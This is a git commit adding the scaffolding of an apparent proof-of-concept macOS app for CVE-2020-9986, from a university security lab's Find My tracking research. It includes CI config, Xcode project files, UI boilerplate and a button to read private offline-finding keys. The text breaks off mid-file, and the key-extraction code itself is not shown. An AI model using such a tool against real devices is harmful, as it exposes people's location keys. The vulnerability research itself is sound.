Add CVE-2020-9986

2026-08-19 19:46:24 +00:00 · 2021-03-04 08:17:33 +01:00
parent 50f63c8830
commit 083882a591
17 changed files with 1161 additions and 0 deletions
@@ -0,0 +1,54 @@
+name: "Build CVE-2020-9986"
+
+on:
+  push:
+    branches: [ main ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  lint-swiftlint:
+    runs-on: macos-latest
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@v2
+      - name: "Run SwiftLint"
+        run: swiftlint --reporter github-actions-logging
+
+  build-ofreadkeys:
+    runs-on: macos-latest
+    needs: lint-swiftlint
+    env:
+      APP: OFReadKeys
+      PROJECT_DIR: CVE-2020-9986/OFReadKeys
+    defaults:
+      run:
+        working-directory: ${{ env.PROJECT_DIR }}
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@v2
+      - name: "Select Xcode 12"
+        uses: devbotsxyz/xcode-select@v1
+        with:
+          version: "12"
+      - name: "Archive project"
+        run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
+
+  build-offetchreports:
+    runs-on: macos-latest
+    needs: lint-swiftlint
+    env:
+      APP: OFFetchReports
+      PROJECT_DIR: OpenHaystack
+    defaults:
+      run:
+        working-directory: ${{ env.PROJECT_DIR }}
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@v2
+      - name: "Select Xcode 12"
+        uses: devbotsxyz/xcode-select@v1
+        with:
+          version: "12"
+      - name: "Archive project"
+        run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
@@ -0,0 +1,390 @@
+// !$*UTF8*$!
+{
+	archiveVersion = 1;
+	classes = {
+	};
+	objectVersion = 50;
+	objects = {
+
+/* Begin PBXBuildFile section */
+		78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC6248E27E700096FCA /* AppDelegate.swift */; };
+		78097EC9248E27E700096FCA /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC8248E27E700096FCA /* ContentView.swift */; };
+		78097ECB248E27E800096FCA /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECA248E27E800096FCA /* Assets.xcassets */; };
+		78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECD248E27E800096FCA /* Preview Assets.xcassets */; };
+		78097ED1248E27E800096FCA /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECF248E27E800096FCA /* Main.storyboard */; };
+		781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */; };
+		7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */; };
+		78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF8994248E5E71002F39E1 /* FindMyModels.swift */; };
+		78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF899A248E7D8D002F39E1 /* SavePanel.swift */; };
+/* End PBXBuildFile section */
+
+/* Begin PBXFileReference section */
+		78097EC3248E27E700096FCA /* OFReadKeys.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFReadKeys.app; sourceTree = BUILT_PRODUCTS_DIR; };
+		78097EC6248E27E700096FCA /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
+		78097EC8248E27E700096FCA /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = "<group>"; };
+		78097ECA248E27E800096FCA /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
+		78097ECD248E27E800096FCA /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
+		78097ED0248E27E800096FCA /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
+		78097ED2248E27E800096FCA /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
+		78097ED3248E27E800096FCA /* OFReadKeys.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = OFReadKeys.entitlements; sourceTree = "<group>"; };
+		781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyKeyExtractor.swift; sourceTree = "<group>"; };
+		7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = FindMyKeyDecoder.swift; path = ../../../OpenHaystack/OpenHaystack/FindMy/FindMyKeyDecoder.swift; sourceTree = "<group>"; };
+		78DF8994248E5E71002F39E1 /* FindMyModels.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyModels.swift; sourceTree = "<group>"; };
+		78DF899A248E7D8D002F39E1 /* SavePanel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
+/* End PBXFileReference section */
+
+/* Begin PBXFrameworksBuildPhase section */
+		78097EC0248E27E700096FCA /* Frameworks */ = {
+			isa = PBXFrameworksBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXFrameworksBuildPhase section */
+
+/* Begin PBXGroup section */
+		78097EBA248E27E700096FCA = {
+			isa = PBXGroup;
+			children = (
+				78097EC5248E27E700096FCA /* OFReadKeys */,
+				78097EC4248E27E700096FCA /* Products */,
+			);
+			sourceTree = "<group>";
+		};
+		78097EC4248E27E700096FCA /* Products */ = {
+			isa = PBXGroup;
+			children = (
+				78097EC3248E27E700096FCA /* OFReadKeys.app */,
+			);
+			name = Products;
+			sourceTree = "<group>";
+		};
+		78097EC5248E27E700096FCA /* OFReadKeys */ = {
+			isa = PBXGroup;
+			children = (
+				78097EC6248E27E700096FCA /* AppDelegate.swift */,
+				78097EC8248E27E700096FCA /* ContentView.swift */,
+				7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */,
+				78DF8994248E5E71002F39E1 /* FindMyModels.swift */,
+				781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */,
+				78DF899A248E7D8D002F39E1 /* SavePanel.swift */,
+				78097ECA248E27E800096FCA /* Assets.xcassets */,
+				78097ECF248E27E800096FCA /* Main.storyboard */,
+				78097ED2248E27E800096FCA /* Info.plist */,
+				78097ED3248E27E800096FCA /* OFReadKeys.entitlements */,
+				78097ECC248E27E800096FCA /* Preview Content */,
+			);
+			path = OFReadKeys;
+			sourceTree = "<group>";
+		};
+		78097ECC248E27E800096FCA /* Preview Content */ = {
+			isa = PBXGroup;
+			children = (
+				78097ECD248E27E800096FCA /* Preview Assets.xcassets */,
+			);
+			path = "Preview Content";
+			sourceTree = "<group>";
+		};
+/* End PBXGroup section */
+
+/* Begin PBXNativeTarget section */
+		78097EC2248E27E700096FCA /* OFReadKeys */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */;
+			buildPhases = (
+				78097EBF248E27E700096FCA /* Sources */,
+				78097EC0248E27E700096FCA /* Frameworks */,
+				78097EC1248E27E700096FCA /* Resources */,
+				78FFC97C25EE98680062F878 /* SwiftLint */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = OFReadKeys;
+			productName = Read_FindMy_Keys;
+			productReference = 78097EC3248E27E700096FCA /* OFReadKeys.app */;
+			productType = "com.apple.product-type.application";
+		};
+/* End PBXNativeTarget section */
+
+/* Begin PBXProject section */
+		78097EBB248E27E700096FCA /* Project object */ = {
+			isa = PBXProject;
+			attributes = {
+				LastSwiftUpdateCheck = 1150;
+				LastUpgradeCheck = 1150;
+				ORGANIZATIONNAME = "SEEMOO - TU Darmstadt";
+				TargetAttributes = {
+					78097EC2248E27E700096FCA = {
+						CreatedOnToolsVersion = 11.5;
+					};
+				};
+			};
+			buildConfigurationList = 78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */;
+			compatibilityVersion = "Xcode 9.3";
+			developmentRegion = en;
+			hasScannedForEncodings = 0;
+			knownRegions = (
+				en,
+				Base,
+			);
+			mainGroup = 78097EBA248E27E700096FCA;
+			productRefGroup = 78097EC4248E27E700096FCA /* Products */;
+			projectDirPath = "";
+			projectRoot = "";
+			targets = (
+				78097EC2248E27E700096FCA /* OFReadKeys */,
+			);
+		};
+/* End PBXProject section */
+
+/* Begin PBXResourcesBuildPhase section */
+		78097EC1248E27E700096FCA /* Resources */ = {
+			isa = PBXResourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				78097ED1248E27E800096FCA /* Main.storyboard in Resources */,
+				78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */,
+				78097ECB248E27E800096FCA /* Assets.xcassets in Resources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXResourcesBuildPhase section */
+
+/* Begin PBXShellScriptBuildPhase section */
+		78FFC97C25EE98680062F878 /* SwiftLint */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			inputFileListPaths = (
+			);
+			inputPaths = (
+			);
+			name = SwiftLint;
+			outputFileListPaths = (
+			);
+			outputPaths = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "# Type a script or drag a script file from your workspace to insert its path.\nif which swiftlint >/dev/null; then\n  swiftlint autocorrect && swiftlint\nelse\n  echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
+		};
+/* End PBXShellScriptBuildPhase section */
+
+/* Begin PBXSourcesBuildPhase section */
+		78097EBF248E27E700096FCA /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */,
+				78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */,
+				78097EC9248E27E700096FCA /* ContentView.swift in Sources */,
+				781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */,
+				78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */,
+				7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXSourcesBuildPhase section */
+
+/* Begin PBXVariantGroup section */
+		78097ECF248E27E800096FCA /* Main.storyboard */ = {
+			isa = PBXVariantGroup;
+			children = (
+				78097ED0248E27E800096FCA /* Base */,
+			);
+			name = Main.storyboard;
+			sourceTree = "<group>";
+		};
+/* End PBXVariantGroup section */
+
+/* Begin XCBuildConfiguration section */
+		78097ED4248E27E800096FCA /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_SEARCH_USER_PATHS = NO;
+				CLANG_ANALYZER_NONNULL = YES;
+				CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
+				CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
+				CLANG_CXX_LIBRARY = "libc++";
+				CLANG_ENABLE_MODULES = YES;
+				CLANG_ENABLE_OBJC_ARC = YES;
+				CLANG_ENABLE_OBJC_WEAK = YES;
+				CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
+				CLANG_WARN_BOOL_CONVERSION = YES;
+				CLANG_WARN_COMMA = YES;
+				CLANG_WARN_CONSTANT_CONVERSION = YES;
+				CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
+				CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
+				CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
+				CLANG_WARN_EMPTY_BODY = YES;
+				CLANG_WARN_ENUM_CONVERSION = YES;
+				CLANG_WARN_INFINITE_RECURSION = YES;
+				CLANG_WARN_INT_CONVERSION = YES;
+				CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
+				CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
+				CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
+				CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
+				CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
+				CLANG_WARN_STRICT_PROTOTYPES = YES;
+				CLANG_WARN_SUSPICIOUS_MOVE = YES;
+				CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
+				CLANG_WARN_UNREACHABLE_CODE = YES;
+				CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
+				COPY_PHASE_STRIP = NO;
+				DEBUG_INFORMATION_FORMAT = dwarf;
+				ENABLE_STRICT_OBJC_MSGSEND = YES;
+				ENABLE_TESTABILITY = YES;
+				GCC_C_LANGUAGE_STANDARD = gnu11;
+				GCC_DYNAMIC_NO_PIC = NO;
+				GCC_NO_COMMON_BLOCKS = YES;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"DEBUG=1",
+					"$(inherited)",
+				);
+				GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
+				GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
+				GCC_WARN_UNDECLARED_SELECTOR = YES;
+				GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
+				GCC_WARN_UNUSED_FUNCTION = YES;
+				GCC_WARN_UNUSED_VARIABLE = YES;
+				MACOSX_DEPLOYMENT_TARGET = 10.15;
+				MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
+				MTL_FAST_MATH = YES;
+				ONLY_ACTIVE_ARCH = YES;
+				SDKROOT = macosx;
+				SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
+				SWIFT_OPTIMIZATION_LEVEL = "-Onone";
+			};
+			name = Debug;
+		};
+		78097ED5248E27E800096FCA /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_SEARCH_USER_PATHS = NO;
+				CLANG_ANALYZER_NONNULL = YES;
+				CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
+				CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
+				CLANG_CXX_LIBRARY = "libc++";
+				CLANG_ENABLE_MODULES = YES;
+				CLANG_ENABLE_OBJC_ARC = YES;
+				CLANG_ENABLE_OBJC_WEAK = YES;
+				CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
+				CLANG_WARN_BOOL_CONVERSION = YES;
+				CLANG_WARN_COMMA = YES;
+				CLANG_WARN_CONSTANT_CONVERSION = YES;
+				CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
+				CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
+				CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
+				CLANG_WARN_EMPTY_BODY = YES;
+				CLANG_WARN_ENUM_CONVERSION = YES;
+				CLANG_WARN_INFINITE_RECURSION = YES;
+				CLANG_WARN_INT_CONVERSION = YES;
+				CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
+				CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
+				CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
+				CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
+				CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
+				CLANG_WARN_STRICT_PROTOTYPES = YES;
+				CLANG_WARN_SUSPICIOUS_MOVE = YES;
+				CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
+				CLANG_WARN_UNREACHABLE_CODE = YES;
+				CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
+				COPY_PHASE_STRIP = NO;
+				DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
+				ENABLE_NS_ASSERTIONS = NO;
+				ENABLE_STRICT_OBJC_MSGSEND = YES;
+				GCC_C_LANGUAGE_STANDARD = gnu11;
+				GCC_NO_COMMON_BLOCKS = YES;
+				GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
+				GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
+				GCC_WARN_UNDECLARED_SELECTOR = YES;
+				GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
+				GCC_WARN_UNUSED_FUNCTION = YES;
+				GCC_WARN_UNUSED_VARIABLE = YES;
+				MACOSX_DEPLOYMENT_TARGET = 10.15;
+				MTL_ENABLE_DEBUG_INFO = NO;
+				MTL_FAST_MATH = YES;
+				SDKROOT = macosx;
+				SWIFT_COMPILATION_MODE = wholemodule;
+				SWIFT_OPTIMIZATION_LEVEL = "-O";
+			};
+			name = Release;
+		};
+		78097ED7248E27E800096FCA /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
+				CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
+				CODE_SIGN_IDENTITY = "-";
+				CODE_SIGN_STYLE = Automatic;
+				COMBINE_HIDPI_IMAGES = YES;
+				DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
+				DEVELOPMENT_TEAM = "";
+				ENABLE_HARDENED_RUNTIME = YES;
+				ENABLE_PREVIEWS = YES;
+				INFOPLIST_FILE = OFReadKeys/Info.plist;
+				LD_RUNPATH_SEARCH_PATHS = (
+					"$(inherited)",
+					"@executable_path/../Frameworks",
+				);
+				MACOSX_DEPLOYMENT_TARGET = 10.15;
+				PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
+				PRODUCT_NAME = "$(TARGET_NAME)";
+				SWIFT_VERSION = 5.0;
+			};
+			name = Debug;
+		};
+		78097ED8248E27E800096FCA /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
+				CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
+				CODE_SIGN_IDENTITY = "-";
+				CODE_SIGN_STYLE = Automatic;
+				COMBINE_HIDPI_IMAGES = YES;
+				DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
+				DEVELOPMENT_TEAM = "";
+				ENABLE_HARDENED_RUNTIME = YES;
+				ENABLE_PREVIEWS = YES;
+				INFOPLIST_FILE = OFReadKeys/Info.plist;
+				LD_RUNPATH_SEARCH_PATHS = (
+					"$(inherited)",
+					"@executable_path/../Frameworks",
+				);
+				MACOSX_DEPLOYMENT_TARGET = 10.15;
+				PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
+				PRODUCT_NAME = "$(TARGET_NAME)";
+				SWIFT_VERSION = 5.0;
+			};
+			name = Release;
+		};
+/* End XCBuildConfiguration section */
+
+/* Begin XCConfigurationList section */
+		78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				78097ED4248E27E800096FCA /* Debug */,
+				78097ED5248E27E800096FCA /* Release */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Release;
+		};
+		78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				78097ED7248E27E800096FCA /* Debug */,
+				78097ED8248E27E800096FCA /* Release */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Release;
+		};
+/* End XCConfigurationList section */
+	};
+	rootObject = 78097EBB248E27E700096FCA /* Project object */;
+}
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<Workspace
+   version = "1.0">
+   <FileRef
+      location = "self:/Users/seemoo/Work/Research/OfflineFinding/code/OpenHaystack/CVE-2020-9986/Read_FindMy_Keys/OFReadKeys.xcodeproj">
+   </FileRef>
+</Workspace>
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>IDEDidComputeMac32BitWarning</key>
+	<true/>
+</dict>
+</plist>
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<Scheme
+   LastUpgradeVersion = "1240"
+   version = "1.3">
+   <BuildAction
+      parallelizeBuildables = "YES"
+      buildImplicitDependencies = "YES">
+      <BuildActionEntries>
+         <BuildActionEntry
+            buildForTesting = "YES"
+            buildForRunning = "YES"
+            buildForProfiling = "YES"
+            buildForArchiving = "YES"
+            buildForAnalyzing = "YES">
+            <BuildableReference
+               BuildableIdentifier = "primary"
+               BlueprintIdentifier = "78097EC2248E27E700096FCA"
+               BuildableName = "OFReadKeys.app"
+               BlueprintName = "OFReadKeys"
+               ReferencedContainer = "container:OFReadKeys.xcodeproj">
+            </BuildableReference>
+         </BuildActionEntry>
+      </BuildActionEntries>
+   </BuildAction>
+   <TestAction
+      buildConfiguration = "Debug"
+      selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
+      selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
+      shouldUseLaunchSchemeArgsEnv = "YES">
+      <Testables>
+      </Testables>
+   </TestAction>
+   <LaunchAction
+      buildConfiguration = "Debug"
+      selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
+      selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
+      launchStyle = "0"
+      useCustomWorkingDirectory = "NO"
+      ignoresPersistentStateOnLaunch = "NO"
+      debugDocumentVersioning = "YES"
+      debugServiceExtension = "internal"
+      allowLocationSimulation = "YES">
+      <BuildableProductRunnable
+         runnableDebuggingMode = "0">
+         <BuildableReference
+            BuildableIdentifier = "primary"
+            BlueprintIdentifier = "78097EC2248E27E700096FCA"
+            BuildableName = "OFReadKeys.app"
+            BlueprintName = "OFReadKeys"
+            ReferencedContainer = "container:OFReadKeys.xcodeproj">
+         </BuildableReference>
+      </BuildableProductRunnable>
+   </LaunchAction>
+   <ProfileAction
+      buildConfiguration = "Release"
+      shouldUseLaunchSchemeArgsEnv = "YES"
+      savedToolIdentifier = ""
+      useCustomWorkingDirectory = "NO"
+      debugDocumentVersioning = "YES">
+      <BuildableProductRunnable
+         runnableDebuggingMode = "0">
+         <BuildableReference
+            BuildableIdentifier = "primary"
+            BlueprintIdentifier = "78097EC2248E27E700096FCA"
+            BuildableName = "OFReadKeys.app"
+            BlueprintName = "OFReadKeys"
+            ReferencedContainer = "container:OFReadKeys.xcodeproj">
+         </BuildableReference>
+      </BuildableProductRunnable>
+   </ProfileAction>
+   <AnalyzeAction
+      buildConfiguration = "Debug">
+   </AnalyzeAction>
+   <ArchiveAction
+      buildConfiguration = "Release"
+      revealArchiveInOrganizer = "YES">
+   </ArchiveAction>
+</Scheme>
@@ -0,0 +1,39 @@
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+
+import Cocoa
+import SwiftUI
+import CoreLocation
+
+@NSApplicationMain
+class AppDelegate: NSObject, NSApplicationDelegate {
+
+    var window: NSWindow!
+
+    func applicationDidFinishLaunching(_ aNotification: Notification) {
+        // Create the SwiftUI view that provides the window contents.
+        let contentView = ContentView()
+
+        // Create the window and set the content view. 
+        window = NSWindow(
+            contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
+            styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
+            backing: .buffered, defer: false)
+        window.center()
+        window.setFrameAutosaveName("Main Window")
+        window.contentView = NSHostingView(rootView: contentView)
+        window.makeKeyAndOrderFront(nil)
+    }
+
+    func applicationWillTerminate(_ aNotification: Notification) {
+        // Insert code here to tear down your application
+    }
+
+    func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
+        return true
+    }
+}
@@ -0,0 +1,58 @@
+{
+  "images" : [
+    {
+      "idiom" : "mac",
+      "scale" : "1x",
+      "size" : "16x16"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "2x",
+      "size" : "16x16"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "1x",
+      "size" : "32x32"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "2x",
+      "size" : "32x32"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "1x",
+      "size" : "128x128"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "2x",
+      "size" : "128x128"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "1x",
+      "size" : "256x256"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "2x",
+      "size" : "256x256"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "1x",
+      "size" : "512x512"
+    },
+    {
+      "idiom" : "mac",
+      "scale" : "2x",
+      "size" : "512x512"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}
@@ -0,0 +1,6 @@
+{
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="17701" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
+    <dependencies>
+        <deployment identifier="macosx"/>
+        <plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="17701"/>
+    </dependencies>
+    <scenes>
+        <!--Application-->
+        <scene sceneID="JPo-4y-FX3">
+            <objects>
+                <application id="hnw-xV-0zn" sceneMemberID="viewController">
+                    <menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
+                        <items>
+                            <menuItem title="OFReadKeys" id="1Xt-HY-uBw">
+                                <modifierMask key="keyEquivalentModifierMask"/>
+                                <menu key="submenu" title="OFReadKeys" systemMenu="apple" id="uQy-DD-JDr">
+                                    <items>
+                                        <menuItem title="About OFReadKeys" id="5kV-Vb-QxS">
+                                            <modifierMask key="keyEquivalentModifierMask"/>
+                                            <connections>
+                                                <action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
+                                            </connections>
+                                        </menuItem>
+                                        <menuItem isSeparatorItem="YES" id="VOq-y0-SEH"/>
+                                        <menuItem title="Hide OFReadKeys" keyEquivalent="h" id="Olw-nP-bQN">
+                                            <connections>
+                                                <action selector="hide:" target="Ady-hI-5gd" id="PnN-Uc-m68"/>
+                                            </connections>
+                                        </menuItem>
+                                        <menuItem title="Hide Others" keyEquivalent="h" id="Vdr-fp-XzO">
+                                            <modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
+                                            <connections>
+                                                <action selector="hideOtherApplications:" target="Ady-hI-5gd" id="VT4-aY-XCT"/>
+                                            </connections>
+                                        </menuItem>
+                                        <menuItem title="Show All" id="Kd2-mp-pUS">
+                                            <modifierMask key="keyEquivalentModifierMask"/>
+                                            <connections>
+                                                <action selector="unhideAllApplications:" target="Ady-hI-5gd" id="Dhg-Le-xox"/>
+                                            </connections>
+                                        </menuItem>
+                                        <menuItem isSeparatorItem="YES" id="kCx-OE-vgT"/>
+                                        <menuItem title="Quit OFReadKeys" keyEquivalent="q" id="4sb-4s-VLi">
+                                            <connections>
+                                                <action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
+                                            </connections>
+                                        </menuItem>
+                                    </items>
+                                </menu>
+                            </menuItem>
+                        </items>
+                    </menu>
+                    <connections>
+                        <outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
+                    </connections>
+                </application>
+                <customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModule="Read_FindMy_Keys" customModuleProvider="target"/>
+                <customObject id="YLy-65-1bz" customClass="NSFontManager"/>
+                <customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
+            </objects>
+            <point key="canvasLocation" x="75" y="0.0"/>
+        </scene>
+    </scenes>
+</document>
@@ -0,0 +1,88 @@
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+
+import SwiftUI
+import OSLog
+
+struct ContentView: View {
+
+    @State var keysInfo: String?
+
+    var body: some View {
+        ZStack {
+            VStack {
+                Spacer()
+
+                self.infoText
+                    .padding()
+
+                Button(action: {
+                    self.readPrivateKeys()
+                }, label: {
+                    Text("Read private offline finding keys")
+                        .font(.headline)
+                        .foregroundColor(Color.black)
+                        .padding()
+                        .background(
+                            RoundedRectangle(cornerRadius: 7.0)
